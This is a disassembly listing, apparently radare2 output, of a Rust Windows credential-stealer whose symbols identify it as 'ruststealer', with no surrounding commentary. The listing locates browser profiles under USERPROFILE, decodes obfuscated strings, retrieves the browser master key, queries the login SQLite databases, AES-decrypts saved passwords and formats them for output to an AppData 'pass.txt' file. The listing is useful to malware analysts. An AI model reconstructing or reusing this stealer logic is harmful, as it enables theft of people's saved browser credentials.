mov r8, qword [rsp + 0x4f8]
call fcn.14013f0f4
lea rax, [rsp + 0x358]
mov qword [rsp + 0x1c0], rax
lea rax, [sym.__alloc::string::String_as_core::fmt::Display_::fmt::hc4f37428fa496577]
mov qword [rsp + 0x1c8], rax
lea rax, [0x1403071e8]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 2
mov qword [rsp + 0xb0], 0
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], 1
mov rcx, rsi
mov rdx, rbp
call sym.alloc::fmt::format::format_inner::h016d222f45dabbf4
mov rax, qword [rsp + 0x290]
mov qword [r14 + 0x20], rax
movups xmm0, xmmword [rsp + 0x280]
movups xmmword [r14 + 0x10], xmm0
mov rsi, qword [rsp + 0x270]
cmp rsi, qword [rsp + 0x260]
jne 0x1400e0899
lea rcx, [rsp + 0x260]
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::h9587850958fec6d8
mov rax, qword [rsp + 0x268]
lea rcx, [rsi + rsi*2]
shl rcx, 4
movdqu xmm0, xmmword [rsp + 0x30]
movdqu xmm1, xmmword [rsp + 0x40]
movdqu xmm2, xmmword [rsp + 0x50]
movdqu xmmword [rax + rcx + 0x20], xmm2
movdqu xmmword [rax + rcx + 0x10], xmm1
movdqu xmmword [rax + rcx], xmm0
inc rsi
mov qword [rsp + 0x270], rsi
cmp qword [rsp + 0x2d0], 0
je 0x1400e08f5
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, qword [rsp + 0x28]
call fcn.14013f0f4
cmp qword [rsp + 0x400], 0
je 0x1400e0916
mov r8, qword [rsp + 0x408]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
cmp qword [rsp + 0x3b0], 0
je 0x1400df833
mov r8, qword [rsp + 0x3b8]
jmp 0x1400df825
mov r8, qword [rsp + 0x228]
mov rax, r8
sub rax, r12
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
cmp r8, r12
movabs rax, 0x8000000000000000
je 0x1400e099f
mov rsi, rdx
shr rsi, 4
add r12, 8
jmp 0x1400e0979
add r12, 0x18
dec rsi
je 0x1400e099f
cmp qword [r12 - 8], 0
je 0x1400e0970
mov r8, qword [r12]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
movabs rax, 0x8000000000000000
jmp 0x1400e0970
cmp qword [rsp + 0x2d8], 0
je 0x1400e09ca
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, qword [rsp + 0x258]
call fcn.14013f0f4
movabs rax, 0x8000000000000000
mov rbx, qword [rsp + 0x260]
mov rsi, qword [rsp + 0x268]
mov rdi, qword [rsp + 0x270]
cmp qword [rsp + 0x500], 0
je 0x1400e0a0d
mov r8, qword [rsp + 0x508]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x250], 0
je 0x1400e0a38
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, qword [rsp + 0x2c8]
call fcn.14013f0f4
movabs rax, 0x8000000000000000
lea r15, [rdi + rdi*2]
shl r15, 4
add r15, rsi
mov r14, rsi
test rdi, rdi
je 0x1400e0b35
mov rcx, qword [rsp + 0x2c0]
lea rdi, [rcx + 0x18]
lea r14, [rsi + 0x30]
jmp 0x1400e0adc
mov r8, qword [rsp + 0x2c0]
mov rax, qword [r8 + 0x20]
lea rcx, [rbp*2]
add rcx, rbp
shl rcx, 4
mov qword [rax + rcx], r13
movdqa xmm0, xmmword [rsp + 0x5f0]
movdqa xmm1, xmmword [rsp + 0x600]
movdqu xmmword [rax + rcx + 8], xmm0
movdqu xmmword [rax + rcx + 0x18], xmm1
mov rdx, qword [rsp + 0x610]
mov qword [rax + rcx + 0x28], rdx
inc rbp
mov qword [r8 + 0x28], rbp
add r14, 0x30
add r12, 0x30
cmp r12, r15
movabs rax, 0x8000000000000000
je 0x1400e0b9c
mov r13, qword [r14 - 0x30]
cmp r13, rax
je 0x1400e0b35
lea r12, [r14 - 0x30]
mov rax, qword [r12 + 0x28]
mov qword [rsp + 0x610], rax
movups xmm0, xmmword [r12 + 8]
movups xmm1, xmmword [r12 + 0x18]
movaps xmmword [rsp + 0x600], xmm1
movaps xmmword [rsp + 0x5f0], xmm0
mov rax, qword [rsp + 0x2c0]
mov rbp, qword [rax + 0x28]
cmp rbp, qword [rax + 0x18]
jne 0x1400e0a70
mov rcx, rdi
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::h9587850958fec6d8
jmp 0x1400e0a70
mov rax, r15
sub rax, r14
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
cmp r15, r14
je 0x1400e0b9c
mov rdi, rdx
shr rdi, 5
add r14, 0x20
jmp 0x1400e0b69
add r14, 0x30
dec rdi
je 0x1400e0b9c
cmp qword [r14 - 0x20], 0
je 0x1400e0b82
mov r8, qword [r14 - 0x18]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
cmp qword [r14 - 8], 0
je 0x1400e0b60
mov r8, qword [r14]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
jmp 0x1400e0b60
test rbx, rbx
je 0x1400e0bb2
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, rsi
call fcn.14013f0f4
mov qword [rsp + 0x358], 0
mov qword [rsp + 0x360], 8
mov qword [rsp + 0x368], 0
lea rdx, str.USERPROFILE
lea rcx, [rsp + 0x90]
mov r8d, 0xb
call sym.std::env::_var_os::hf57a8ad827b86018
mov rsi, qword [rsp + 0x90]
movabs rax, 0x8000000000000000
cmp rsi, rax
je 0x1400e392b
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
cmp byte [rsp + 0xa8], 0
je 0x1400e273c
mov qword [rsp + 0x2d8], rsi
mov qword [rsp + 0x20], 7
lea r9, str.AppData_pass.txt
lea rcx, [rsp + 0x490]
mov qword [rsp + 0x2c8], rdx
call sym.std::path::Path::_join::he13b0a2e79c985dd
lea rbp, [rsp + 0x90]
mov rcx, rbp
call sym.ruststealer::feature::browser::get_targets::haa7a7dbf677f7866
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x2d0], rax
mov r14, qword [rsp + 0x98]
mov rax, qword [rsp + 0xa0]
lea rcx, [rax + rax*2]
lea rcx, [r14 + rcx*8]
mov qword [rsp + 0x230], rcx
mov qword [rsp + 0x258], r14
test rax, rax
je 0x1400e237f
lea r13, [rsp + 0x38]
pxor xmm6, xmm6
lea rdi, [rsp + 0x440]
mov rax, qword [rsp + 0x258]
jmp 0x1400e0ce1
mov rax, r14
cmp r14, qword [rsp + 0x230]
je 0x1400e237f
lea r14, [rax + 0x18]
mov rbx, qword [rax]
movabs rcx, 0x8000000000000000
cmp rbx, rcx
je 0x1400e237f
mov rsi, qword [rax + 8]
mov rax, qword [rax + 0x10]
mov rdx, qword [rsp + 0x498]
mov r8, qword [rsp + 0x4a0]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x3b0]
mov r9, rsi
call sym.std::path::Path::_join::he13b0a2e79c985dd
test rbx, rbx
je 0x1400e0d3e
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, rsi
call fcn.14013f0f4
mov r15, qword [rsp + 0x3b8]
mov rbx, qword [rsp + 0x3c0]
test rbx, rbx
je 0x1400e0d80
js 0x1400e2dbb
movzx eax, byte [0x140346130]
xor ecx, ecx
mov rdx, rbx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::hcc99af14aa596ba0
test rax, rax
je 0x1400e344f
mov rsi, rax
jmp 0x1400e0d85
mov esi, 1
mov rcx, rsi
mov rdx, r15
mov r8, rbx
call sym.memcpy
mov qword [rsp + 0x90], rbx
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0xa0], rbx
movzx eax, byte [rsp + 0x3c8]
mov byte [rsp + 0xa8], al
lea rcx, [rsp + 0x280]
mov rdx, rbp
call sym.ruststealer::feature::browser::get_browser_name::h856f219fbeb9d3cf
mov rcx, rbp
mov rdx, r15
mov r8, rbx
call sym.std::sys::pal::windows::fs::stat::hfe0d5c68794b1871
cmp dword [rsp + 0x90], 2
jne 0x1400e0e50
mov rbx, qword [rsp + 0x98]
mov eax, ebx
and eax, 3
cmp eax, 1
jne 0x1400e2334
mov r15, qword [rbx - 1]
mov rsi, qword [rbx + 7]
mov rax, qword [rsi]
test rax, rax
je 0x1400e0e0d
mov rcx, r15
call rax
cmp qword [rsi + 8], 0
je 0x1400e0e30
cmp qword [rsi + 0x10], 0x11
jb 0x1400e0e1f
mov r15, qword [r15 - 8]
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, r15
call fcn.14013f0f4
dec rbx
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, rbx
jmp 0x1400e232f
lea rcx, [rsp + 0x400]
lea rdx, [rsp + 0x3b0]
call sym.ruststealer::feature::browser::get_user_data_dir::h42a94d208d7672a5
mov rbx, qword [rsp + 0x408]
mov r15, qword [rsp + 0x410]
lea rcx, [rsp + 0x370]
mov rdx, rbx
mov r8, r15
call sym.ruststealer::feature::browser::get_profile_names::h504859518cc13cc7
lea rax, [0x140301a8b]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0x536214efc5bf9c81
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::h01aebe9bba4c5797
mov rcx, qword [rax]
movabs rdx, 0x719cd0becffb0803
xor rcx, rdx
movzx edx, byte [rax + 0xa]
movzx eax, word [rax + 8]
mov r8d, eax
shr r8d, 8
xor al, 0x1b
xor r8b, 0xca
xor dl, 0xe7
mov qword [rsp + 0x90], rcx
mov byte [rsp + 0x98], al
mov byte [rsp + 0x99], r8b
mov byte [rsp + 0x9a], dl
mov qword [rsp + 0x20], 0xb
lea rcx, [rsp + 0x4b0]
mov rdx, rbx
mov r8, r15
mov r9, rbp
call sym.std::path::Path::_join::he13b0a2e79c985dd
mov rsi, qword [rsp + 0x4b8]
mov rbx, qword [rsp + 0x4c0]
mov rcx, rbp
mov rdx, rsi
mov r8, rbx
call sym.std::sys::pal::windows::fs::stat::hfe0d5c68794b1871
cmp dword [rsp + 0x90], 2
jne 0x1400e0fb0
mov rbx, qword [rsp + 0x98]
mov eax, ebx
and eax, 3
cmp eax, 1
jne 0x1400e0fe1
mov r15, qword [rbx - 1]
mov rsi, qword [rbx + 7]
mov rax, qword [rsi]
test rax, rax
je 0x1400e0f76
mov rcx, r15
call rax
cmp qword [rsi + 8], 0
je 0x1400e0f99
cmp qword [rsi + 0x10], 0x11
jb 0x1400e0f88
mov r15, qword [r15 - 8]
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, r15
call fcn.14013f0f4
dec rbx
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, rbx
call fcn.14013f0f4
jmp 0x1400e0fe1
mov rcx, rbp
mov rdx, rsi
mov r8, rbx
call sym.ruststealer::crypt::get_master_key::hca3b0983758506dd
mov rcx, qword [rsp + 0x90]
movabs rax, 0x8000000000000000
mov qword [rsp + 0x220], rcx
cmp rcx, rax
jne 0x1400e106c
cmp qword [rsp + 0x4b0], 0
je 0x1400e1002
mov r8, qword [rsp + 0x4b8]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
mov rsi, qword [rsp + 0x380]
test rsi, rsi
je 0x1400e1050
mov rbx, qword [rsp + 0x378]
add rbx, 8
jmp 0x1400e1029
add rbx, 0x18
dec rsi
je 0x1400e1050
cmp qword [rbx - 8], 0
je 0x1400e1020
mov r8, qword [rbx]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
jmp 0x1400e1020
cmp qword [rsp + 0x370], 0
je 0x1400e2313
mov r8, qword [rsp + 0x378]
jmp 0x1400e2305
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x370]
mov qword [rsp + 0x248], rax
mov rdx, qword [rsp + 0x378]
mov rax, qword [rsp + 0x380]
lea rcx, [rax + rax*2]
lea r15, [rdx + rcx*8]
mov qword [rsp + 0x250], rdx
mov rbx, rdx
test rax, rax
je 0x1400e2266
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x240], rax
mov rbx, qword [rsp + 0x250]
mov qword [rsp + 0x238], r14
mov qword [rsp + 0x278], r15
jmp 0x1400e10e9
cmp rbx, r15
je 0x1400e22b3
mov rcx, rbx
mov rax, qword [rbx]
movdqu xmm0, xmmword [rbx + 8]
add rbx, 0x18
movdqa xmmword [rsp + 0x650], xmm0
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x1400e2266
mov qword [rsp + 0x340], rax
movdqa xmm0, xmmword [rsp + 0x650]
lea rax, [rsp + 0x348]
movdqu xmmword [rax], xmm0
mov rbp, qword [rsp + 0x348]
mov r12, qword [rsp + 0x350]
test r12, r12
je 0x1400e1170
js 0x1400e2dbb
movzx eax, byte [0x140346130]
xor ecx, ecx
mov rdx, r12
call sym.std::sys::pal::windows::alloc::process_heap_alloc::hcc99af14aa596ba0
test rax, rax
je 0x1400e345c
mov rsi, rax
jmp 0x1400e1175
mov esi, 1
mov rcx, rsi
mov rdx, rbp
mov r8, r12
call sym.memcpy
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0xa0], r12
lea rcx, [rsp + 0x420]
lea rdx, [rsp + 0x400]
lea rsi, [rsp + 0x90]
mov r8, rsi
call sym.ruststealer::feature::browser::get_profile_path::hb94dd452edd2b761
mov r12, qword [rsp + 0x428]
mov rbp, qword [rsp + 0x430]
lea rax, [0x1402fee51]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0xbae5ecb79e55251
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::h15a8b65051081d39
mov ecx, dword [rax]
mov edx, 0x117f453c
xor ecx, edx
movzx r8d, byte [rax + 6]
movzx eax, word [rax + 4]
mov edx, eax
shr edx, 8
xor al, 0xd0
xor dl, 0x83
xor r8b, 0xcf
movzx r8d, r8b
mov byte [rsp + 0x1c6], r8b
shl r8, 0x30
movzx edx, dl
shl rdx, 0x28
or rdx, r8
movzx eax, al
shl rax, 0x20
or rax, rdx
mov dword [rsp + 0x1c0], ecx
shr rax, 0x20
mov word [rsp + 0x1c4], ax
mov qword [rsp + 0x20], 7
mov rcx, rsi
mov rdx, r12
mov r8, rbp
lea r9, [rsp + 0x1c0]
call sym.std::path::Path::_join::he13b0a2e79c985dd
mov r12, qword [rsp + 0x98]
mov rbp, qword [rsp + 0xa0]
lea rax, [0x1402fd634]
mov qword [rsp + 0x30], rax
lea rsi, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rax, 0x6f6eda0cfd85ece5
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call sym.obfstr::xref::inner::h702088c5f8808de6
mov ecx, dword [rax]
mov edx, 0x135ece73
xor ecx, edx
movzx r8d, byte [rax + 6]
movzx eax, word [rax + 4]
mov edx, eax
shr edx, 8
xor al, 0x5b
xor dl, 0xac
xor r8b, 0x89
movzx r8d, r8b
mov byte [rsp + 0x36], r8b
shl r8, 0x30
movzx edx, dl
shl rdx, 0x28
or rdx, r8
movzx eax, al
shl rax, 0x20
or rax, rdx
mov dword [rsp + 0x30], ecx
shr rax, 0x20
mov word [rsp + 0x34], ax
mov qword [rsp + 0x20], 7
lea rcx, [rsp + 0x528]
mov rdx, r12
mov r8, rbp
mov r9, rsi
call sym.std::path::Path::_join::he13b0a2e79c985dd
cmp qword [rsp + 0x90], 0
je 0x1400e133f
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, r12
call fcn.14013f0f4
mov rsi, qword [rsp + 0x530]
mov r12, qword [rsp + 0x538]
lea rbp, [rsp + 0x90]
mov rcx, rbp
mov rdx, rsi
mov r8, r12
call sym.std::sys::pal::windows::fs::stat::hfe0d5c68794b1871
cmp dword [rsp + 0x90], 2
jne 0x1400e1450
mov r12, qword [rsp + 0x98]
mov eax, r12d
and eax, 3
cmp eax, 1
jne 0x1400e13dc
mov rbp, qword [r12 - 1]
mov rsi, qword [r12 + 7]
mov rax, qword [rsi]
test rax, rax
je 0x1400e139d
mov rcx, rbp
call rax
cmp qword [rsi + 8], 0
je 0x1400e13c0
cmp qword [rsi + 0x10], 0x11
jb 0x1400e13af
mov rbp, qword [rbp - 8]
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, rbp
call fcn.14013f0f4
dec r12
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, r12
call fcn.14013f0f4
lea rbp, [rsp + 0x90]
cmp qword [rsp + 0x528], 0
je 0x1400e13fd
mov r8, qword [rsp + 0x530]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
cmp qword [rsp + 0x420], 0
mov r14, qword [rsp + 0x238]
je 0x1400e1426
mov r8, qword [rsp + 0x428]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
cmp qword [rsp + 0x340], 0
je 0x1400e10e0
mov r8, qword [rsp + 0x348]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
jmp 0x1400e10e0
mov qword [rsp + 0x228], rbx
mov qword [rsp + 0x2a0], 0
mov qword [rsp + 0x2a8], 1
mov qword [rsp + 0x2b0], 0
mov rcx, rbp
mov rdx, rsi
mov r8, r12
call sym.rusqlite::path_to_cstring::h926a78a56ed7a7e8
movzx esi, byte [rsp + 0x90]
cmp sil, 0x13
jne 0x1400e3640
mov rcx, rbp
mov r12, qword [rsp + 0x98]
mov rbp, qword [rsp + 0xa0]
mov rdx, r12
mov r8, rbp
call sym.rusqlite::inner_connection::InnerConnection::open_with_flags::haba3edfa2f0825fd
movzx r9d, byte [rsp + 0x90]
cmp r9b, 0x13
jne 0x1400e1520
lea rcx, [rsp + 0x98]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x1d0], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x1c0], xmm0
movups xmm0, xmmword [0x14030d8f0]
movaps xmmword [rsp + 0x30], xmm0
movdqu xmmword [r13 + 8], xmm6
mov edx, 0x10
xor ebx, ebx
lea r14, [0x14030d8d0]
xor esi, esi
xor r15d, r15d
mov byte [r12], 0
test rbp, rbp
jne 0x1400e156d
jmp 0x1400e158a
mov rsi, qword [rsp + 0x90]
mov r14, qword [rsp + 0x98]
mov r15, rsi
shr r15, 8
mov rbx, qword [rsp + 0xa0]
lea rax, [rsp + 0x98]
movups xmm0, xmmword [rax + 0x10]
movdqu xmm1, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm1
mov rdx, qword [rsp + 0xc8]
mov byte [r12], 0
test rbp, rbp
je 0x1400e158a
mov rcx, qword [0x1403460d0]
mov rbp, rdx
xor edx, edx
mov r8, r12
mov r12d, r9d
call fcn.14013f0f4
mov r9d, r12d
mov rdx, rbp
cmp r9b, 0x13
lea rbp, [rsp + 0x90]
jne 0x1400e3696
shl r15, 8
movzx eax, sil
or rax, r15
mov qword [rsp + 0x2e0], rax
mov qword [rsp + 0x2e8], r14
mov qword [rsp + 0x2f0], rbx
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
lea rcx, [rsp + 0x2f8]
movdqu xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov qword [rsp + 0x318], rdx
mov qword [rsp + 0x320], 0
mov rax, qword [rsp + 0x1d0]
mov qword [rcx + 0x40], rax
movdqa xmm0, xmmword [rsp + 0x1c0]
movdqu xmmword [rcx + 0x30], xmm0
lea rax, [0x1402f8a51]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0xbcdab9ea9fe17aa7
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call sym.obfstr::xref::inner::h51d9748ecf2350f4
movdqa xmmword [rsp + 0xd0], xmm6
movdqa xmmword [rsp + 0xc0], xmm6
movdqa xmmword [rsp + 0xb0], xmm6
movdqa xmmword [rsp + 0xa0], xmm6
movdqa xmmword [rsp + 0x90], xmm6
mov qword [rsp + 0xe0], 0
mov rcx, 0xfffffffffffffff8
lea r8, [0x140307340]
nop word cs:[rax + rax]
mov rdx, qword [rcx + r8 + 8]
xor rdx, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x98], rdx
add rcx, 8
cmp rcx, 0x50
jb 0x1400e1690
movzx ecx, byte [rax + 0x5a]
movzx eax, word [rax + 0x58]
mov edx, eax
shr edx, 8
xor al, 0x3f
xor dl, 0xbe
mov byte [rsp + 0xe8], al
mov byte [rsp + 0xe9], dl
xor cl, 0x60
mov byte [rsp + 0xea], cl
movaps xmm0, xmmword [rsp + 0x90]
movdqa xmm1, xmmword [rsp + 0xa0]
movdqa xmm2, xmmword [rsp + 0xb0]
movdqa xmm3, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x50], xmm2
movdqa xmmword [rsp + 0x60], xmm3
movdqa xmm0, xmmword [rsp + 0xd0]
movdqa xmmword [rsp + 0x70], xmm0
mov rax, qword [rsp + 0xdb]
mov qword [rsp + 0x7b], rax
mov eax, dword [rsp + 0xe3]
mov dword [rsp + 0x83], eax
movzx eax, byte [rsp + 0xe7]
mov byte [rsp + 0x87], al
movzx eax, byte [rsp + 0xe8]
mov byte [rsp + 0x88], al
movzx eax, byte [rsp + 0xe9]
mov byte [rsp + 0x89], al
movzx eax, byte [rsp + 0xea]
mov byte [rsp + 0x8a], al
cmp qword [rsp + 0x320], 0
jne 0x1400e342e
mov qword [rsp + 0x320], 0xffffffffffffffff
mov qword [rsp + 0x440], 0
mov qword [rsp + 0x90], 0
mov rsi, qword [rsp + 0x330]
mov qword [rsp + 0x20], rbp
mov rcx, rsi
lea rbx, [rsp + 0x30]
mov rdx, rbx
mov r8d, 0x5b
mov r9, rdi
call sym.sqlite3_prepare_v2
test eax, eax
jne 0x1400e36e9
mov rax, qword [rsp + 0x440]
mov rcx, qword [rsp + 0x90]
mov rdx, rcx
sub rdx, rbx
mov r8, rbx
neg r8
add r8, rcx
add r8, 0xffffffffffffffa5
cmp r8, 0xffffffffffffffa6
mov r8d, 0
cmovae r8, rdx
test rcx, rcx
cmove r8, rcx
lea rcx, [rsp + 0x2e0]
mov qword [rsp + 0x1c0], rcx
lea rcx, [rsp + 0x208]
movdqu xmmword [rcx - 0x40], xmm6
inc qword [rsp + 0x320]
movdqu xmmword [rcx - 0x28], xmm6
mov qword [rsp + 0x1f8], rax
mov rax, qword [rsp + 0x1c0]
mov rcx, qword [rsp + 0x1c8]
movups xmm0, xmmword [rsp + 0x1d0]
movdqu xmm1, xmmword [rsp + 0x1e0]
mov qword [rsp + 0x440], rax
mov qword [rsp + 0x448], rcx
movaps xmmword [rsp + 0x450], xmm0
movdqa xmmword [rsp + 0x460], xmm1
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x470], rax
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x478], rax
mov qword [rsp + 0x480], r8
mov rcx, qword [rsp + 0x478]
call sym.sqlite3_bind_parameter_count
test eax, eax
jne 0x1400e375c
mov r15, rbx
nop word cs:[rax + rax]
mov rcx, qword [rsp + 0x478]
call sym.sqlite3_step
cmp eax, 0x64
jne 0x1400e1d40
mov rcx, r15
mov rdx, rdi
xor r8d, r8d
call sym.rusqlite::row::Row::get::he379f2946cfbf116
cmp byte [rsp + 0x30], 0x13
jne 0x1400e32bb
mov rax, qword [r13 + 0x10]
mov qword [rsp + 0x4e0], rax
movups xmm0, xmmword [r13]
movaps xmmword [rsp + 0x4d0], xmm0
mov r8d, 1
mov rcx, r15
mov rdx, rdi
call sym.rusqlite::row::Row::get::h738878708ff47a5a
cmp byte [rsp + 0x30], 0x13
jne 0x1400e323c
mov rsi, qword [rsp + 0x38]
mov r8d, 2
mov rcx, r15
mov rdx, rdi
call sym.rusqlite::row::Row::get::he379f2946cfbf116
cmp byte [rsp + 0x30], 0x13
jne 0x1400e31f6
mov rax, qword [r13 + 0x10]
mov qword [rsp + 0x3e0], rax
movups xmm0, xmmword [r13]
movaps xmmword [rsp + 0x3d0], xmm0
mov r8d, 3
mov rcx, r15
mov rdx, rdi
call sym.rusqlite::row::Row::get::h738878708ff47a5a
cmp byte [rsp + 0x30], 0x13
jne 0x1400e316a
mov rbx, qword [rsp + 0x38]
mov r8d, 4
mov rcx, r15
mov rdx, rdi
call sym.rusqlite::row::Row::get::h738878708ff47a5a
cmp byte [rsp + 0x30], 0x13
jne 0x1400e31b0
mov r12, qword [rsp + 0x38]
mov r8d, 5
mov rcx, r15
mov rdx, rdi
call sym.rusqlite::row::Row::get::he379f2946cfbf116
cmp byte [rsp + 0x30], 0x13
jne 0x1400e3301
mov rax, qword [r13 + 0x10]
mov qword [rsp + 0x3a0], rax
movups xmm0, xmmword [r13]
movaps xmmword [rsp + 0x390], xmm0
mov r8d, 6
mov rcx, r15
mov rdx, rdi
call sym.rusqlite::row::Row::get::he969bdb1b731588c
cmp byte [rsp + 0x30], 0x13
jne 0x1400e3347
mov rax, qword [r13 + 0x10]
mov qword [rsp + 0x510], rax
movups xmm0, xmmword [r13]
movaps xmmword [rsp + 0x500], xmm0
xor eax, eax
cmp rbx, 1
sete al
lea rcx, [0x140307494]
lea rdx, str.TRUEFALSE
cmove rcx, rdx
xor rax, 5
mov qword [rsp + 0x5d0], rcx
mov qword [rsp + 0x5d8], rax
movabs rax, 0xffd6a169b779c000
add r12, rax
cmp r12, 0xfffffffffff0bdc1
jge 0x1400e1a70
xor edx, edx
jmp 0x1400e1a8e
mov rax, r12
movabs rcx, 0x431bde82d7b634db
imul rcx
mov rax, rdx
shr rax, 0x3f
sar rdx, 0x12
add rdx, rax
mov qword [rsp + 0x5c8], rdx
lea rcx, [rsp + 0x568]
lea rdx, [rsp + 0x500]
mov r8, qword [rsp + 0x28]
mov r9, qword [rsp + 0x240]
call sym.ruststealer::crypt::aes_decrypt::h3612fe7e8e9fb2e3
xor eax, eax
cmp rsi, 1
sete al
lea rcx, [0x140307494]
lea rdx, str.TRUEFALSE
cmove rcx, rdx
xor rax, 5
mov qword [rsp + 0x5e0], rcx
mov qword [rsp + 0x5e8], rax
mov rdx, qword [rsp + 0x570]
mov r8, qword [rsp + 0x578]
mov rcx, rbp
call sym.core::str::converts::from_utf8::h66c2f181a607cc90
cmp qword [rsp + 0x90], 0
jne 0x1400e3282
movdqu xmm0, xmmword [rsp + 0x98]
movdqu xmmword [rsp + 0x260], xmm0
lea rax, [rsp + 0x4d0]
mov qword [rsp + 0x90], rax
lea rcx, [sym.__alloc::string::String_as_core::fmt::Display_::fmt::hc4f37428fa496577]
mov qword [rsp + 0x98], rcx
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xa0], rax
lea rdx, [sym.__T_as_core::fmt::Display_::fmt::h076aca05718f1fcc]
mov qword [rsp + 0xa8], rdx
lea rax, [rsp + 0x3d0]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], rcx
lea rax, [rsp + 0x5d0]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rdx
lea rax, [rsp + 0x5c8]
mov qword [rsp + 0xd0], rax
lea rax, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_i64_::fmt::hada1c1f751eb69d3]
mov qword [rsp + 0xd8], rax
lea rax, [rsp + 0x390]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], rcx
lea rax, [rsp + 0x260]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], rdx
lea rax, [0x1403074c0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 8
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], 7
lea rcx, [rsp + 0x1c0]
lea rdx, [rsp + 0x30]
call sym.alloc::fmt::format::format_inner::h016d222f45dabbf4
mov rbx, qword [rsp + 0x1c0]
mov r12, qword [rsp + 0x1c8]
mov rbp, qword [rsp + 0x1d0]
mov rax, qword [rsp + 0x2a0]
mov rsi, qword [rsp + 0x2b0]
sub rax, rsi
cmp rax, rbp
jb 0x1400e1d20
mov rcx, qword [rsp + 0x2a8]
add rcx, rsi
mov rdx, r12
mov r8, rbp
call sym.memcpy
add rsi, rbp
mov qword [rsp + 0x2b0], rsi
test rbx, rbx
je 0x1400e1c86
mov rcx, qword [0x1403460d0]
xor edx, edx
mov r8, r12
call fcn.14013f0f4
cmp qword [rsp + 0x568], 0
lea r15, [rsp + 0x30]
lea rbp, [rsp + 0x90]
je 0x1400e1cb4
mov r8, qword [rsp + 0x570]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
cmp qword [rsp + 0x390], 0
je 0x1400e1cd5
mov r8, qword [rsp + 0x398]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
cmp qword [rsp + 0x3d0], 0
je 0x1400e1cf6
mov r8, qword [rsp + 0x3d8]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
cmp qword [rsp + 0x4d0], 0
je 0x1400e18d0
mov r8, qword [rsp + 0x4d8]
mov rcx, qword [0x1403460d0]
xor edx, edx
call fcn.14013f0f4
jmp 0x1400e18d0
lea rcx, [rsp + 0x2a0]
mov rdx, rsi
mov r8, rbp
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h010c4e3c86a70d79
